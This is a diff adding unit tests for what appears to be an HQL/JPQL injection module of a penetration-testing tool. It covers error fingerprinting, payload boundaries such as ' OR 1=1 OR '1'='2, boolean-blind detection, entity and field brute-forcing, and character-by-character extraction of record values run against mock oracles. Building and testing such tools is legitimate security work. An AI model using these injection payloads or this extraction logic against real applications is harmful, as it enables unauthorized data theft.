self.assertFalse(hql._isError("normal page content")) + + def test_backend_from_error(self): + self.assertEqual(hql._backendFromError("org.hibernate.query.SemanticException: boom"), "Hibernate") + self.assertIsNotNone(hql._backendFromError("org.eclipse.persistence.exceptions.JPQLException")) + self.assertIsNone(hql._backendFromError("plain page")) + + def test_entity_from_error(self): + self.assertEqual(hql._entityFromError("Could not resolve attribute 'zzz' of 'lab.App$Member'"), "lab.App$Member") + self.assertEqual(hql._entityFromError("Could not resolve root entity 'Ghost'"), "Ghost") + self.assertIsNone(hql._entityFromError("nothing here")) + + def test_short_entity(self): + self.assertEqual(hql._shortEntity("lab.App$Member"), "Member") + self.assertEqual(hql._shortEntity("com.acme.model.User"), "User") + self.assertEqual(hql._shortEntity("User"), "User") + + +class TestBoundary(unittest.TestCase): + def test_wrap_string(self): + b = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertEqual(hql._wrap("SEN", b, "1=1"), "SEN' OR 1=1 OR '1'='2") + + def test_base_sentinel_vs_numeric(self): + self.assertEqual(hql._base(hql.Boundary("' OR ", " OR '1'='2", True), "x"), hql.SENTINEL) + self.assertEqual(hql._base(hql.Boundary(" OR ", "", False), "5"), "-1") + + def test_scalar_casts_attribute(self): + expr = hql._scalar("Member", "id", "LENGTH(%s)", "id") + self.assertIn("CAST(_h.id AS string)", expr) + self.assertIn("FROM Member _h", expr) + self.assertIn("MIN(_h2.id)", expr) + + +class TestDetection(unittest.TestCase): + def setUp(self): + self.original = hql._send + + def tearDown(self): + hql._send = self.original + + def test_boolean_detection(self): + # TRUE payloads return rows, FALSE payloads return an empty (but stable) page + def mock(place, parameter, value): + if "OR '1'='1" in value or "OR 1=1" in value: + return "
alice
bob
" + return "" + hql._send = mock + template, payload, boundary = hql._detectBoolean("GET", "name") + self.assertIsNotNone(template) + self.assertIn("OR '1'='1", payload) + self.assertTrue(boundary.sentinel) + + def test_no_detection_when_static(self): + hql._send = lambda place, parameter, value: "same" + template, _, _ = hql._detectBoolean("GET", "name") + self.assertIsNone(template) + + +def _recordOracle(record, entity="Member"): + """Build a truth(predicate) that answers the LENGTH/SUBSTRING/EXISTS predicates + the engine emits, evaluated against an in-memory record dict.""" + + def truth(predicate): + # entity brute / attribute existence + m = re.search(r"FROM (\w+) _h", predicate) + if m and m.group(1) != entity: + return False + # entity brute: EXISTS(SELECT 1 FROM _h) + if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate): + return True + # attribute existence: EXISTS(SELECT _h. FROM _h) + m = re.search(r"SELECT _h\.(\w+) FROM", predicate) + if m: + return m.group(1) in record + # length: LENGTH(CAST(_h. AS string)) ... >= N + if "LENGTH" in predicate: + m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate) + n = re.search(r">=(\d+)", predicate) + if m and n: + return len(str(record.get(m.group(1), ""))) >= int(n.group(1)) + # char: SUBSTRING(CAST(_h. AS string),,1) ... ='' + if "SUBSTRING" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate) + c = re.search(r"='(.)'\s*$", predicate) + if m and c: + attr, pos, ch = m.group(1), int(m.group(2)), c.group(1) + value = str(record.get(attr, "")) + return pos <= len(value) and value[pos - 1] == ch + return False + + return truth + + +class TestExtraction(unittest.TestCase): + def setUp(self): + self.record = {"id": "1", "name": "alice", "secret": "s3cr3t-alice", "role": "admin"} + self.truth = _recordOracle(self.record) + + def test_brute_entities(self): + self.assertEqual(hql._bruteEntities(self.truth), ["Member"]) + + def test_enum_fields(self): + fields = hql._enumFields(self.truth, "Member") + for expected in ("id", "name", "secret", "role"): + self.assertIn(expected, fields) + + def test_infer_string_value(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "name", "id"), "alice") + + def test_infer_secret_with_symbols(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "secret", "id"), "s3cr3t-alice") + + def test_infer_numeric_via_cast(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "id", "id"), "1") + + def test_infer_absent_attribute_empty(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "nope", "id"), "") + + +def _multiOracle(records): + """Row-aware oracle: honors the "_h2. > " walk bound by selecting the + smallest-id record strictly greater than `after`.""" + + def pick(predicate): + m = re.search(r"_h2\.\w+>(\d+)", predicate) + after = int(m.group(1)) if m else None + cands = [r for r in records if after is None or int(r["id"]) > after] + return min(cands, key=lambda r: int(r["id"])) if cands else None + + def truth(predicate): + if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate): + return True + m = re.search(r"EXISTS\(SELECT _h\.(\w+) FROM", predicate) + if m: + return m.group(1) in records[0] + rec = pick(predicate) + if rec is None: + return False + if "LENGTH" in predicate: + m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate) + n = re.search(r">=(\d+)", predicate) + if m and n: + return len(str(rec.get(m.group(1), ""))) >= int(n.group(1)) + if "SUBSTRING" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate) + c = re.search(r"='(.)'\s*$", predicate) + if m and c: + value = str(rec.get(m.group(1), "")) + pos = int(m.group(2)) + return pos <= len(value) and value[pos - 1] == c.group(1) + return False + + return truth + + +class TestMultiRow(unittest.TestCase): + def setUp(self): + self.records = [ + {"id": "1", "name": "alice", "role": "admin"}, + {"id": "2", "name": "bob", "role": "user"}, + {"id": "5", "name": "carol", "role": "staff"}, + ] + self.truth = _multiOracle(self.records) + + def _walk(self, fields, pin): + rows, after = [], None + for _ in range(20): + pinValue = hql._inferValue(self.truth, "Member", pin, pin, after) + if not pinValue: + break + record = {pin: pinValue} + for field in fields: + if field != pin: + record[field] = hql._inferValue(self.truth, "Member", field, pin, after) + rows.append(record) + if not re.match(r"\A\d+\Z", pinValue): + break + after = pinValue + return rows + + def test_walks_all_rows_in_order(self): + rows = self._walk(["id", "name", "role"], "id") + self.assertEqual([r["name"] for r in rows], ["alice", "bob", "carol"]) + self.assertEqual([r["id"] for r in rows], ["1", "2", "5"]) + self.assertEqual(rows[2]["role"], "staff") + + +class TestGrid(unittest.TestCase): + def test_grid(self): + out = hql._grid(["id", "name"], [["1", "alice"]]) + self.assertIn("alice", out) + self.assertIn("+--", out) + + +if __name__ == "__main__": + unittest.main()